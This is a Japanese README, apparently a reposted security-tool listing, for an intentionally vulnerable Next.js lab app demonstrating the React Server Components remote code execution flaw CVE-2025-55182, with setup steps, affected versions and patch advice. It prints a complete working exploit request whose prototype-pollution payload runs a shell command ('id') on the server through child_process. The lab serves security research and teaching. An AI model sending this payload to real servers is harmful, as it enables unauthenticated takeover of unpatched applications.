Next.js CVE-2025-55182 概念実証

これは、React Server Componentsにおける深刻なリモートコード実行（RCE）脆弱性である CVE-2025-55182（別名「React2Shell」）に対して脆弱なNext.jsアプリケーションの概念実証です。

⚠️ 警告

このアプリケーションは意図的に脆弱性を持っており、以下の目的にのみ使用すべきです：

• セキュリティ研究
• 教育目的
• 隔離環境でのテスト

禁止事項：

• 本番環境へのデプロイ
• 信頼できないネットワークへの公開
• 機密データとの併用

脆弱性の詳細

CVE-2025-55182 は以下に影響します：

• React バージョン 19.0.0 から 19.2.0
• Next.js バージョン 15.x および 16.x（App Router使用時）
• React Server Components (RSC) を使用するアプリケーション

この脆弱性は、React Server Componentsのペイロード処理における安全でないデシリアライゼーションに起因し、認証されていない攻撃者が特別に細工されたHTTPリクエストを介してサーバー上で任意のコードを実行できるようにします。

セットアップ手順

オプション1: ローカル開発

1. 依存関係をインストール：

   root@kitploit:~

   npm install
   

2. 開発サーバーを起動：

   root@kitploit:~

   npm run dev
   

3. アプリケーションにアクセス： ブラウザで http://localhost:3000 を開きます。

オプション2: Docker

1. Dockerイメージをビルド：

   root@kitploit:~

   docker build -t nextjs-cve-2025-55182 .
   

2. コンテナを実行：

   root@kitploit:~

   docker run --rm -p 3000:3000 nextjs-cve-2025-55182
   

3. アプリケーションにアクセス： ブラウザで http://localhost:3000 を開きます。

アプリケーション構成

• ログインページ (/): React Server Componentsを使用したシンプルなログインフォーム
• ダッシュボード (/dashboard): ログイン後にアクセス可能な保護されたページ

脆弱なコンポーネント

このアプリケーションは以下を使用しています：

• Next.js 15.1.0（脆弱なバージョン）
• React 19.0.0（脆弱なバージョン）
• React Server Components (RSC) を備えたApp Router
• 基本的なcreate-next-app構造

脆弱性はRSCペイロードのデシリアライゼーションメカニズムに存在し、悪意のあるマルチパートHTTPリクエストをページルート（例: http://localhost:3000 または http://localhost:3000/dashboard）に直接送信することで悪用できます。このエクスプロイトはReact Server Componentsを使用する任意のページで機能します。

悪用

この脆弱性は、特別に細工されたHTTPリクエストをページルート（例: http://localhost:3000 または http://localhost:3000/dashboard）に直接送信することで悪用できます。このエクスプロイトはReact Server Componentsを使用する任意のページで機能します。

簡単なエクスプロイト例

POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

このエクスプロイトはページルートを直接対象とし、localhost:3000（ホームページ）または localhost:3000/dashboard（ダッシュボードページ）で動作します。

緩和策

この脆弱性を修正するには：

• React をバージョン 19.0.1、19.1.2、または 19.2.1+ にアップグレード
• Next.js をパッチ適用済みバージョン（15.0.5+ またはパッチ適用済みの 16.x）にアップグレード

参考文献

• CVE-2025-55182
• React セキュリティ勧告
• Next.js セキュリティ勧告

ライセンス

この概念実証は教育およびセキュリティ研究目的でのみ提供されます。